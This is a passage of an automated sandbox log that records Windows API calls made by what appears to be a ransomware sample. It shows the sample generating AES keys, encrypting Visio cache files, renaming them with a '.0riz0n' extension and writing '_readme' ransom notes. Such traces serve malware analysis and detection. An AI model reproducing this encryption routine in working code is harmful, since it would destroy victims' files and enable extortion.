Flags=0x8, Size=0x878100) returned 0x35e0020 [0086.722] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d60020*, pdwDataLen=0x17af858*=0x8780dd, dwBufLen=0x8784dd | out: pbData=0x2d60020*, pdwDataLen=0x17af858*=0x8780e0) returned 1 [0086.825] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=41943040, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x2800000 [0086.825] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0x8780dd, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0x8780dd, lpOverlapped=0x0) returned 1 [0086.920] FlushFileBuffers (hFile=0x1f0) returned 1 [0086.943] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0086.943] NtClose (Handle=0x1f0) returned 0x0 [0086.944] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.0riz0n")) returned 1 [0086.944] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.0riz0n", dwFileAttributes=0x2020) returned 1 [0086.945] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0086.945] GetLastError () returned 0x2 [0086.945] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xedb6b0, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0086.945] GetLastError () returned 0x2 [0086.945] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0086.945] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0086.945] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0086.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0086.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x7) returned 0x30d278 [0086.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd608 [0086.946] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d278) returned 1 [0086.946] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd608) returned 1 [0086.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2d1) returned 0x1a8ea68 [0086.946] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2e5, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2e5, lpOverlapped=0x0) returned 1 [0086.947] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x4854eaf0, dwHighDateTime=0x1d59598)) returned 1 [0086.947] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0086.947] NtClose (Handle=0x1f0) returned 0x0 [0086.947] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0086.947] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0086.947] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0086.947] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0086.989] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0086.989] CryptDestroyKey (hKey=0x459b38) returned 1 [0086.989] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0086.989] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0086.989] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0086.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0086.989] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000)) returned 1 [0086.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0086.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0086.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0086.990] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0086.990] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0086.990] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0086.990] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0086.990] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000)) returned 1 [0086.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0086.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0086.990] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0086.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0086.990] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0086.990] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000)) returned 1 [0086.990] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0086.991] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0086.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0086.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0086.991] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0086.991] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0086.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0086.991] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0x435c1d00, dwHighDateTime=0x1d305eb)) returned 1 [0086.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0086.991] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0086.991] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0086.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0086.991] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0086.991] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0086.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0086.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0086.992] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0086.992] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0086.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2ab000) returned 0x2350020 [0086.992] ReadFile (in: hFile=0x1f0, lpBuffer=0x2350020, nNumberOfBytesToRead=0x2ab000, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesRead=0x17af85c*=0x2ab000, lpOverlapped=0x0) returned 1 [0087.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2ab000) returned 0x2600020 [0087.157] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2600020*, pdwDataLen=0x17af858*=0x2ab000, dwBufLen=0x2ab400 | out: pbData=0x2600020*, pdwDataLen=0x17af858*=0x2ab010) returned 1 [0087.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2ab040) returned 0x28b0020 [0087.234] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0087.234] WriteFile (in: hFile=0x1f0, lpBuffer=0x28b0020*, nNumberOfBytesToWrite=0x2ab000, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x28b0020*, lpNumberOfBytesWritten=0x17af85c*=0x2ab000, lpOverlapped=0x0) returned 1 [0087.260] FlushFileBuffers (hFile=0x1f0) returned 1 [0087.278] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0087.278] NtClose (Handle=0x1f0) returned 0x0 [0087.279] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.0riz0n")) returned 1 [0087.279] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.0riz0n", dwFileAttributes=0x2020) returned 1 [0087.280] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0087.280] GetLastError () returned 0x2 [0087.280] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xedb6d0, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0087.280] GetLastError () returned 0x2 [0087.280] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0087.280] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0087.281] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0087.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0087.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1b) returned 0xfcca98 [0087.281] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2f9, lpOverlapped=0x0) returned 1 [0087.282] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x4886e7d0, dwHighDateTime=0x1d59598)) returned 1 [0087.282] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0087.282] NtClose (Handle=0x1f0) returned 0x0 [0087.282] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0087.282] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0087.282] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0087.282] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x28b0020) returned 1 [0087.294] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0087.294] CryptDestroyKey (hKey=0x459b38) returned 1 [0087.294] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0087.294] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0087.294] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0087.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0087.294] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f)) returned 1 [0087.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0087.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0087.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0087.295] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0087.295] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0087.295] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0087.295] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0087.295] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f)) returned 1 [0087.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0087.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0087.295] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0087.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0087.295] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0087.295] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f)) returned 1 [0087.295] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0087.295] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0087.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0087.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0087.296] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0087.296] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0087.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0087.296] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0x4359ac00, dwHighDateTime=0x1d305eb)) returned 1 [0087.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0087.296] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0087.296] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0087.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0087.296] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0087.296] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0087.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0087.297] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0087.297] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0087.297] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0087.297] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2540) returned 0xfa2210 [0087.297] ReadFile (in: hFile=0x1f0, lpBuffer=0xfa2210, nNumberOfBytesToRead=0x251f, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xfa2210*, lpNumberOfBytesRead=0x17af85c*=0x251f, lpOverlapped=0x0) returned 1 [0087.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2540) returned 0x1a20048 [0087.298] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1a20048*, pdwDataLen=0x17af858*=0x251f, dwBufLen=0x291f | out: pbData=0x1a20048*, pdwDataLen=0x17af858*=0x2520) returned 1 [0087.298] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0087.298] WriteFile (in: hFile=0x1f0, lpBuffer=0xfa2210*, nNumberOfBytesToWrite=0x251f, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xfa2210*, lpNumberOfBytesWritten=0x17af85c*=0x251f, lpOverlapped=0x0) returned 1 [0087.299] FlushFileBuffers (hFile=0x1f0) returned 1 [0087.301] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0087.301] NtClose (Handle=0x1f0) returned 0x0 [0087.301] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.0riz0n")) returned 1 [0087.302] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0087.302] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0087.302] GetLastError () returned 0x2 [0087.302] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: 